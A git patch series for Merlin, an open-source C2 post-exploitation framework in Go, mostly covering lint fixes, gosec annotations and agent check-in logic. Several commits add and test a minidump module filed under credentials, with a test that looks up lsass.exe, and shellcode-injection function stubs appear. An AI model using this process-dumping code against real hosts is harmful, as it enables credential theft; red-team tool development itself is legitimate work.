a/cmd/merlinserver/main.go b/cmd/merlinserver/main.go index 16bca323..19586335 100644 --- a/cmd/merlinserver/main.go +++ b/cmd/merlinserver/main.go @@ -59,7 +59,7 @@ func main() { } flag.Parse() - color.Blue(banner.Banner1) + color.Blue(banner.MerlinBanner1) color.Blue("\t\t Version: %s", merlin.Version) color.Blue("\t\t Build: %s", build) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index 784a5feb..a4f4a00b 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -53,20 +53,27 @@ func ExecuteCommand(name string, arg string) (stdout string, stderr string) { // ExecuteShellcodeSelf executes provided shellcode in the current process func ExecuteShellcodeSelf(shellcode []byte) error { + shellcode = nil return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeRemote executes provided shellcode in the provided target process func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { + shellcode = nil + pid = 0 return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { + shellcode = nil + pid = 0 return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { + shellcode = nil + pid = 0 return errors.New("shellcode execution is not implemented for this operating system") } diff --git a/pkg/banner/banner.go b/pkg/banner/banner.go index 361ab89d..f9482374 100644 --- a/pkg/banner/banner.go +++ b/pkg/banner/banner.go @@ -17,8 +17,8 @@ package banner -// Banner1 is the first banner image for Merlin -const Banner1 string = ` +// MerlinBanner1 is the first banner image for Merlin +const MerlinBanner1 string = ` &&&&&&&& &&&&&&&&&&&& &&&&&&&&&&&&&&& diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 5d842144..ee5296ce 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -109,7 +109,7 @@ func Shell() { menuAgent(cmd[1:]) } case "banner": - color.Blue(banner.Banner1) + color.Blue(banner.MerlinBanner1) color.Blue("\t\t Version: %s", merlin.Version) case "help": menuHelpMain() From a15a7f9afeb98d4391b32cbca925319b5c8c0f82 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 09:53:06 -0500 Subject: [PATCH 044/112] Fixed code analysis problems in PULL_REQUEST_TEMPLATE.md --- docs/PULL_REQUEST_TEMPLATE.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/PULL_REQUEST_TEMPLATE.md b/docs/PULL_REQUEST_TEMPLATE.md index 4e0d6aa6..4a87ef12 100644 --- a/docs/PULL_REQUEST_TEMPLATE.md +++ b/docs/PULL_REQUEST_TEMPLATE.md @@ -1,11 +1,11 @@ ### Pull Request (PR) Checklist -- [ ] I have read the [CONTRIBUTING](../CONTRIBUTING.MD) doc +- [ ] I have read the [CONTRIBUTING](./CONTRIBUTING.MD) doc - [ ] PR is from **a topic/feature/bugfix branch** off the **dev branch** (right side) - [ ] PR is against the **dev branch** (left side) - [ ] Merlin compiles without errors - [ ] Passes linting checks and unit tests -- [ ] Updated [CHANGELOG](../CHANGELOG.MD) +- [ ] Updated [CHANGELOG](./CHANGELOG.MD) - [ ] Updated README documentation (if applicable) - [ ] Update Merlin version number in `pkg/merlin.go` (if applicable) From bfafcf3f6a4fa6f143e6eaf1b0de1b024ae347e5 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 10:01:35 -0500 Subject: [PATCH 045/112] Resolved gosec issue in testServer and handled defer error --- test/testServer/main.go | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/test/testServer/main.go b/test/testServer/main.go index c744c4b5..afa454ba 100644 --- a/test/testServer/main.go +++ b/test/testServer/main.go @@ -109,7 +109,14 @@ func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testi srv.Addr = "127.0.0.1:" + port go func() { ln, e := net.Listen("tcp", srv.Addr) - defer ln.Close() + + defer func() { + err := ln.Close() + if err != nil { + log.Fatal(err) + } + }() + if e != nil { panic(e) } @@ -123,7 +130,7 @@ func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testi time.Sleep(time.Second * 1) client := &http.Client{ Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // #nosec - G402 - Allowed for testing }, } resp, err := client.Get("https://localhost:" + port) From 17861d97f146eafec6669d7eb124a50ee42ed971 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 10:38:08 -0500 Subject: [PATCH 046/112] Updated gosec nosec to specific rule --- pkg/agent/agent.go | 8 +++++--- pkg/agent/exec.go | 2 +- pkg/cli/cli.go | 4 ++-- pkg/modules/modules.go | 2 +- pkg/servers/http2/http2.go | 2 +- test/testServer/main.go | 4 +++- 6 files changed, 13 insertions(+), 9 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9194a0cf..996a8bb0 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -20,7 +20,7 @@ package agent import ( // Standard "bytes" - "crypto/sha1" // #nosec + "crypto/sha1" // #nosec G505 "crypto/tls" "encoding/base64" "encoding/json" @@ -525,7 +525,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { g.Payload = (*json.RawMessage)(&k) } else { - fileHash := sha1.New() // #nosec // Use SHA1 because it is what many Blue Team tools use + fileHash := sha1.New() // #nosec G401 // Use SHA1 because it is what many Blue Team tools use _, errW := io.WriteString(fileHash, string(fileData)) if errW != nil { if a.Verbose { @@ -900,10 +900,12 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { // getClient returns a HTTP client for the passed in protocol (i.e. h2 or hq) func getClient(protocol string) (*http.Client, error) { + /* #nosec G402 */ + // G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing // Setup TLS configuration TLSConfig := &tls.Config{ MinVersion: tls.VersionTLS12, - InsecureSkipVerify: true, + InsecureSkipVerify: true, // #nosec G402 - see https://github.com/Ne0nd0g/merlin/issues/59 TODO fix this CipherSuites: []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index a4f4a00b..5b4b4561 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -38,7 +38,7 @@ func ExecuteCommand(name string, arg string) (stdout string, stderr string) { return "", fmt.Sprintf("There was an error parsing command line argments: %s\r\n%s", arg, errS.Error()) } - cmd = exec.Command(name, argS...) // #nosec + cmd = exec.Command(name, argS...) // #nosec G204 out, err := cmd.CombinedOutput() stdout = string(out) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index ee5296ce..d9250fc7 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -849,7 +849,7 @@ func exit() { func executeCommand(name string, arg []string) { var cmd *exec.Cmd - cmd = exec.Command(name, arg...) // #nosec - G204 -Users can execute any arbitrary command by design + cmd = exec.Command(name, arg...) // #nosec G204 Users can execute any arbitrary command by design out, err := cmd.CombinedOutput() @@ -951,7 +951,7 @@ func parseShellcodeFile(filePath string) ([]byte, error) { message("debug", "Entering into cli.parseShellcodeFile function") } - b, errB := ioutil.ReadFile(filePath) // #nosec - G304 - Users can include any file from anywhere + b, errB := ioutil.ReadFile(filePath) // #nosec G304 Users can include any file from anywhere if errB != nil { if core.Debug { message("debug", "Leaving cli.parseShellcodeFile function") diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index ef402f0c..3290f6db 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -228,7 +228,7 @@ func Create(modulePath string) (Module, error) { var m Module // Read in the module's JSON configuration file - f, err := ioutil.ReadFile(modulePath) // #nosec - G304 - User should be able to read in any file + f, err := ioutil.ReadFile(modulePath) // #nosec G304 - User should be able to read in any file if err != nil { return m, err } diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index fd039006..23007ea6 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -19,7 +19,7 @@ package http2 import ( // Standard - "crypto/sha1" // #nosec - G505 - This library is required to check X.509 certificates using SHA1 hash + "crypto/sha1" // #nosec G505 - This library is required to check X.509 certificates using SHA1 hash "crypto/tls" "crypto/x509" "encoding/base64" diff --git a/test/testServer/main.go b/test/testServer/main.go index afa454ba..3c6bc1c7 100644 --- a/test/testServer/main.go +++ b/test/testServer/main.go @@ -128,9 +128,11 @@ func (TestServer) Start(port string, finishedTest, setup chan struct{}, t *testi }() for { time.Sleep(time.Second * 1) + /* #nosec G402 */ + // G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing client := &http.Client{ Transport: &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // #nosec - G402 - Allowed for testing + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } resp, err := client.Get("https://localhost:" + port) From 36e38df867027d97af22d93b0a09c40c840c9e86 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 11:30:11 -0500 Subject: [PATCH 047/112] Moved minidump module into credentials directory and added module file path. --- data/modules/windows/x64/go/{ => credentials}/minidump.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename data/modules/windows/x64/go/{ => credentials}/minidump.json (93%) diff --git a/data/modules/windows/x64/go/minidump.json b/data/modules/windows/x64/go/credentials/minidump.json similarity index 93% rename from data/modules/windows/x64/go/minidump.json rename to data/modules/windows/x64/go/credentials/minidump.json index 5933acf3..fbaedb79 100644 --- a/data/modules/windows/x64/go/minidump.json +++ b/data/modules/windows/x64/go/credentials/minidump.json @@ -4,7 +4,7 @@ "type": "standard", "author": ["Cameron Stokes (@C__Sto)"], "credits": [""], - "path": [""], + "path": ["windows", "x64", "go", "credentials", "minidump.json"], "platform": "WINDOWS", "arch": "x64", "lang": "Go", From 85cae77e36e99e129afd1a9882b390dc83f41cd2 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 11:35:17 -0500 Subject: [PATCH 048/112] Removed import alias for project wide consistency and because IDE marks them as redundant. --- pkg/agent/agent.go | 4 ++-- pkg/agents/agents.go | 2 +- pkg/cli/cli.go | 4 ++-- pkg/messages/messages.go | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 663f9853..3497fd82 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -43,11 +43,11 @@ import ( "github.com/fatih/color" "github.com/lucas-clemente/quic-go" "github.com/lucas-clemente/quic-go/h2quic" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" "golang.org/x/net/http2" // Merlin - merlin "github.com/Ne0nd0g/merlin/pkg" + "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/messages" ) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 94beea66..4faedcb9 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -35,7 +35,7 @@ import ( // 3rd Party "github.com/fatih/color" "github.com/olekukonko/tablewriter" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" // Merlin "github.com/Ne0nd0g/merlin/pkg/core" diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 36fea528..8a6bbacc 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -37,10 +37,10 @@ import ( "github.com/fatih/color" "github.com/mattn/go-shellwords" "github.com/olekukonko/tablewriter" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" // Merlin - merlin "github.com/Ne0nd0g/merlin/pkg" + "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/banner" "github.com/Ne0nd0g/merlin/pkg/core" diff --git a/pkg/messages/messages.go b/pkg/messages/messages.go index 5020ef27..24661445 100644 --- a/pkg/messages/messages.go +++ b/pkg/messages/messages.go @@ -18,7 +18,7 @@ package messages import ( - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" ) // Base is the base JSON Object for HTTP POST payloads From 657e7c72dd92a4087f2d2af955c47045bd8d6c3d Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 11:43:44 -0500 Subject: [PATCH 049/112] Added documentation for miniDump and resolved code analysis items. --- pkg/agent/exec.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index 0df3b6fa..7f80e65c 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -78,6 +78,9 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { return errors.New("shellcode execution is not implemented for this operating system") } +// miniDump is a Windows only module function to dump the memory of the provided process func miniDump(process string, pid uint32) ([]byte, error) { + process = "" + pid = 0 return []byte{}, errors.New("minidump doesn't work on non-windows hosts") } From 808576fd4802e50f9ed980b252a0678b7ba27d44 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 19:45:32 -0500 Subject: [PATCH 050/112] Added in send agentInfo message to update server with failed checkins of 0 after successful connection . Fixed PR merge conflict mistake I made that removed needed code. --- pkg/agent/agent.go | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 6240772a..100a47d1 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -191,8 +191,8 @@ func (a *Agent) Run(server string) { a.initial = a.initialCheckIn(server, a.Client) } if a.FailedCheckin >= a.MaxRetry { - if a.Debug { - message("debug", "Failed Checkin is greater than or equal to max retries. Quitting") + if a.Verbose { + message("warn", "Failed Checkin is greater than or equal to max retries. Quitting") } os.Exit(0) } @@ -323,7 +323,13 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { } return false } - a.FailedCheckin = 0 + if a.FailedCheckin > 0 && a.FailedCheckin < a.MaxRetry { + if a.Verbose { + message("note", fmt.Sprintf("Updating server with failed checkins from %d to 0", a.FailedCheckin)) + } + a.FailedCheckin = 0 + go a.agentInfo(host, a.Client) + } if a.Debug { message("debug", "Leaving initialCheckIn function, returning True") } @@ -402,9 +408,12 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("There was an error decoding the JSON message:\r\n%s", errD.Error())) } - return + a.FailedCheckin++ + return } + a.FailedCheckin = 0 + if a.Debug { message("debug", fmt.Sprintf("Agent ID: %s", j.ID)) message("debug", fmt.Sprintf("Message Type: %s", j.Type)) From 73cadddab29ed0cfa69d68f6dd8177bc34a8bb63 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sat, 9 Feb 2019 20:01:17 -0500 Subject: [PATCH 051/112] Updated CHANGELOG --- docs/CHANGELOG.MD | 3 +++ 1 file changed, 3 insertions(+) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index bfe4203e..fe6a3ec3 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -13,6 +13,9 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - [Pull 50](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents - Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. +### Fixed +- [Pull 51](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent + ## 0.6.8 - 2019-01-26 ### Added From 805948686293e8eecb15b1c93ab063ab324faf8d Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sun, 10 Feb 2019 10:04:41 +0800 Subject: [PATCH 052/112] address comments, add test --- docs/CHANGELOG.MD | 3 +- pkg/agent/agent.go | 58 +++++++++++++++++++++++++-------- pkg/agent/agent_windows_test.go | 58 +++++++++++++++++++++++++++++++++ pkg/agent/exec_windows.go | 4 +-- pkg/agents/agents.go | 3 +- pkg/cli/cli.go | 5 +-- 6 files changed, 111 insertions(+), 20 deletions(-) create mode 100644 pkg/agent/agent_windows_test.go diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index bfe4203e..c5b22fee 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -11,7 +11,8 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - New `NativeCmd` message struct for commands native to Merlin - [Pull 49](https://github.com/Ne0nd0g/merlin/pull/49) - Added tests for agent package and new `/test` directory for test HTTP server - [Pull 50](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a killdate option to agents - - Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. +- Added `set killdate` to Merlin Server agent menu and information table so that it can be changed from the server. +- [Pull 51](https://github.com/Ne0nd0g/merlin/pull/50) - Adds a Go native `minidump` module for Windows agents to create and receive a minidump file of a specified process (requires elevation) ## 0.6.8 - 2019-01-26 diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 3497fd82..b5edbb95 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -43,11 +43,11 @@ import ( "github.com/fatih/color" "github.com/lucas-clemente/quic-go" "github.com/lucas-clemente/quic-go/h2quic" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" "golang.org/x/net/http2" // Merlin - "github.com/Ne0nd0g/merlin/pkg" + merlin "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/messages" ) @@ -647,7 +647,13 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("note", "Received Agent Module Directive") } var p messages.Module - json.Unmarshal(payload, &p) + e := json.Unmarshal(payload, &p) + if e != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the CmdPayload JSON "+ + "message:\r\n%s", e.Error())) + } + } switch p.Command { case "Minidump": if a.Verbose { @@ -656,8 +662,10 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { //ensure the provided args are valid if len(p.Args) < 1 { //not enough args - message("warn", fmt.Sprintf("Not enough args were provided to dump a process")) - break + if a.Verbose { + message("warn", fmt.Sprintf("Not enough args were provided to dump a process")) + break + } } process := p.Args[0] //string TODO: do some validation here I guess //clean the arg - for some reason spaces at the start? @@ -669,8 +677,10 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { pidInt, err := strconv.ParseInt(p.Args[1], 0, 32) if err != nil { //probably not well formatted number - message("warn", fmt.Sprintf("Could not parse pid value:"+p.Args[1])) - message("warn", fmt.Sprintf(err.Error())) + if a.Verbose { + message("warn", fmt.Sprintf("Could not parse pid value:"+p.Args[1])) + message("warn", fmt.Sprintf(err.Error())) + } break } pid = uint32(pidInt) @@ -693,13 +703,24 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { message("note", "Sending error message to sever.") } - k, _ := json.Marshal(c) + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error creating the json")) + message("warn", fmt.Sprintf("%s", err.Error())) + } + } g.Type = "CmdResults" g.Payload = (*json.RawMessage)(&k) } else { fileHash := sha1.New() - io.WriteString(fileHash, string(fileData)) + _, errW := io.WriteString(fileHash, string(fileData)) + if errW != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error())) + } + } if a.Verbose { message("note", fmt.Sprintf("Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server", @@ -713,15 +734,26 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { IsDownload: true, Job: p.Job, } - - k, _ := json.Marshal(c) + k, err := json.Marshal(c) + if err != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error creating the json")) + message("warn", fmt.Sprintf("%s", err.Error())) + } + } g.Type = "FileTransfer" g.Payload = (*json.RawMessage)(&k) - } b2 := new(bytes.Buffer) - json.NewEncoder(b2).Encode(g) + err1 := json.NewEncoder(b2).Encode(g) + if err1 != nil { + if a.Verbose { + message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", + err1.Error())) + } + break //don't try and sent POST with broken/empty json + } resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2) if respErr != nil { if a.Verbose { diff --git a/pkg/agent/agent_windows_test.go b/pkg/agent/agent_windows_test.go new file mode 100644 index 00000000..a2a18e87 --- /dev/null +++ b/pkg/agent/agent_windows_test.go @@ -0,0 +1,58 @@ +// +build windows + +package agent + +import ( + "bytes" + "testing" +) + +func TestGetPrcID(t *testing.T) { + //ensure proces that definitely exists returns a value + lsassPid := getProcID("lsass.exe") + if lsassPid == 0 { + t.Error("Couldn't find lsass.exe") + } + //ensure process that definitely doesn't exist returns a 0 value + garbagePid := getProcID("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.exe") + if garbagePid != 0 { + t.Error("Got a non zero return for a garbage process") + } +} + +func TestMinidump(t *testing.T) { + + //check a good minidump works + byts, err := miniDump("go.exe", 0) + if err != nil { + t.Error("Failed minidump on known process (possible false positive if run in non-windows environment somehow):", err) + } + if bytes.Compare(byts[:4], []byte("MDMP")) != 0 { + t.Error("Invalid minidump file produced (based on file header)") + } + + //check a minidump on an unknown proc doesn't work + _, err = miniDump("notarealprocess.exe", 0) + if err == nil { + t.Error("Found process when it shouldn't have...") + } + + //check a minidump providing a pid with blank string works + pid := getProcID("go.exe") + byts, err = miniDump("", pid) + if err != nil || len(byts) == 0 { + t.Error("Minidump using pid failed") + } + + //check a minidump with a valid pid but invalid string works (pid should take priority) + byts, err = miniDump("notarealprocess.exe", pid) + if err != nil || len(byts) == 0 { + t.Error("Minidump using valid pid and invalid proc name failed") + } + + //check a minidump with a valid proc name, but invalid pid fails + byts, err = miniDump("go.exe", 123456789) + if err == nil { + t.Error("Minidump dumped a process even though provided pid was invalid") + } +} diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 2f34f204..9cbc942a 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -396,7 +396,7 @@ func miniDump(process string, pid uint32) ([]byte, error) { ); */ //load up our minidump function - k32 := syscall.NewLazyDLL("Dbgcore.dll") + k32 := windows.NewLazySystemDLL("Dbgcore.dll") m := k32.NewProc("MiniDumpWriteDump") //set up the tempfile to write to, automatically remove it once done @@ -486,7 +486,7 @@ func sePrivEnable(s string) error { Privileges [1]LUID_AND_ATTRIBUTES } - modadvapi32 := syscall.NewLazyDLL("advapi32.dll") + modadvapi32 := windows.NewLazySystemDLL("advapi32.dll") procAdjustTokenPrivileges := modadvapi32.NewProc("AdjustTokenPrivileges") procLookupPriv := modadvapi32.NewProc("LookupPrivilegeValueW") diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 4faedcb9..51595c31 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -35,7 +35,7 @@ import ( // 3rd Party "github.com/fatih/color" "github.com/olekukonko/tablewriter" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" // Merlin "github.com/Ne0nd0g/merlin/pkg/core" @@ -558,7 +558,6 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { k := marshalMessage(p) m.Payload = (*json.RawMessage)(&k) case "Minidump": - fmt.Println("aaa", "minidump") m.Type = "Module" p := messages.Module{ Command: job.Type, diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 8a6bbacc..54477d00 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -37,10 +37,10 @@ import ( "github.com/fatih/color" "github.com/mattn/go-shellwords" "github.com/olekukonko/tablewriter" - "github.com/satori/go.uuid" + uuid "github.com/satori/go.uuid" // Merlin - "github.com/Ne0nd0g/merlin/pkg" + merlin "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/banner" "github.com/Ne0nd0g/merlin/pkg/core" @@ -193,6 +193,7 @@ func Shell() { m, err = agents.AddJob(shellModule.Agent, "cmd", r) } if err != nil { + message("warn", "There was an error adding the job to the specified agent") message("warn", err.Error()) } else { message("note", fmt.Sprintf("Created job %s for agent %s at %s", From 580cf5a6e4af8e02273cd18710ec2bf2d451f9b9 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Sun, 10 Feb 2019 12:16:19 -0500 Subject: [PATCH 053/112] Remove package aliases for project wide consistency and remove redundancy. --- pkg/agent/agent.go | 4 ++-- pkg/agents/agents.go | 2 +- pkg/cli/cli.go | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index b5edbb95..7bb21f24 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -43,11 +43,11 @@ import ( "github.com/fatih/color" "github.com/lucas-clemente/quic-go" "github.com/lucas-clemente/quic-go/h2quic" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" "golang.org/x/net/http2" // Merlin - merlin "github.com/Ne0nd0g/merlin/pkg" + "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/core" "github.com/Ne0nd0g/merlin/pkg/messages" ) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 51595c31..579488fd 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -35,7 +35,7 @@ import ( // 3rd Party "github.com/fatih/color" "github.com/olekukonko/tablewriter" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" // Merlin "github.com/Ne0nd0g/merlin/pkg/core" diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 54477d00..e0cd24d6 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -37,10 +37,10 @@ import ( "github.com/fatih/color" "github.com/mattn/go-shellwords" "github.com/olekukonko/tablewriter" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" // Merlin - merlin "github.com/Ne0nd0g/merlin/pkg" + "github.com/Ne0nd0g/merlin/pkg" "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/banner" "github.com/Ne0nd0g/merlin/pkg/core" From 1b660d8e3571132557f98a6ca6597e5362bd0e66 Mon Sep 17 00:00:00 2001 From: C-Sto <7466346+C-Sto@users.noreply.github.com> Date: Mon, 11 Feb 2019 08:12:59 +1100 Subject: [PATCH 054/112] resolve read from request twice error --- pkg/servers/http2/http2.go | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 60588d10..4adee171 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -246,23 +246,18 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { j := messages.Base{ Payload: &payload, } - - err1 := json.NewDecoder(r.Body).Decode(&j) - if err1 != nil { - message("warn", fmt.Sprintf("There was an error decoding a POST message sent by an "+ - "agent:\r\n%s", err1)) - return - } - //reading the body before parsing json seems to resolve the receiving error on large bodies for some reason, unsure why b, e := ioutil.ReadAll(r.Body) if e != nil { - message("warn", e.Error()) + message("warn", fmt.Sprintf("There was an error reading a POST message sent by an "+ + "agent:\r\n%s", e)) return } + e = json.NewDecoder(bytes.NewReader(b)).Decode(&j) if e != nil { - message("warn", e.Error()) + message("warn", fmt.Sprintf("There was an error decoding a POST message sent by an "+ + "agent:\r\n%s", e)) return } if core.Debug { From 20964c9e2027099d4bdcb0258d63b0bb3df80115 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 16 Feb 2019 09:30:29 +0800 Subject: [PATCH 055/112] fix crash on older windows versions --- pkg/agent/exec_windows.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/agent/exec_windows.go b/pkg/agent/exec_windows.go index 9cbc942a..8fe9da26 100644 --- a/pkg/agent/exec_windows.go +++ b/pkg/agent/exec_windows.go @@ -396,7 +396,7 @@ func miniDump(process string, pid uint32) ([]byte, error) { ); */ //load up our minidump function - k32 := windows.NewLazySystemDLL("Dbgcore.dll") + k32 := windows.NewLazySystemDLL("DbgHelp.dll") m := k32.NewProc("MiniDumpWriteDump") //set up the tempfile to write to, automatically remove it once done From b745a1f37b62838117d57299041313b0ae08b100 Mon Sep 17 00:00:00 2001 From: c_sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 16 Feb 2019 09:32:51 +0800 Subject: [PATCH 056/112] add proc name and pid to minidump file output --- pkg/agent/agent.go | 5 ++- pkg/agent/agent_windows_test.go | 25 ++++++++--- pkg/agent/exec_windows.go | 76 +++++++++++++++++++++++++++------ 3 files changed, 86 insertions(+), 20 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 94a585fc..8d6705c4 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -695,7 +695,8 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { pid = uint32(pidInt) } //get minidump - fileData, fileDataErr := miniDump(process, pid) + miniD, fileDataErr := miniDump("", process, pid) + fileData := miniD.FileContent //copied and pasted from upload func, modified appropriately if fileDataErr != nil { @@ -738,7 +739,7 @@ func (a *Agent) statusCheckIn(host 